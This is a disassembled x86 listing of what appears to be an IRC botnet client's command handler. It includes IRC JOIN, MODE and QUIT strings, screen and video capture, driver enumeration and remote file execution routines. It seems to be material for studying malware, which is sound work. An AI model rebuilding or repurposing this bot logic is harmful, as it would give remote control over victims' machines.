loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_42F7C8

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42F79C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset dword_42F760
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F758
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42F750
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42F744
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42F750
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F728

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F720
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42F750
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42F704
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_42F750
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42F6E8
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_42F6C0
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42F6B4
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2680000h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42F6A0
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42FDD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42F684
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42F664
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42F644

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42F898
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42F61C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F5EC
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42F5D0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F59C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_42F56C
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_42F530

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4D0854
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42F500
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F4D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F4A4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_42F470
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_42F438

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_42F40C
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_42F3CC
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_42F38C
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42F368
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42F344
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_42F340 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42F314

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F2FC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_42F2DC
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_42F2C0
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F2A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_42F268

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_42F250
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F22C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 26801ADh
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F210
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42FA10
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_42F1EC
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_42F1BC

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_42F19C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_42F16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4D07DC
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F14C
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4D08A8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4D08B0
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42F124
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_42F0FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4D0790
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_42F0DC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_42F0B8
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42F090
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2680000h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	dword_4D08BC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_443774[eax]
		call	near ptr 2690876h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_443774[eax], ebx
		call	sub_41B779
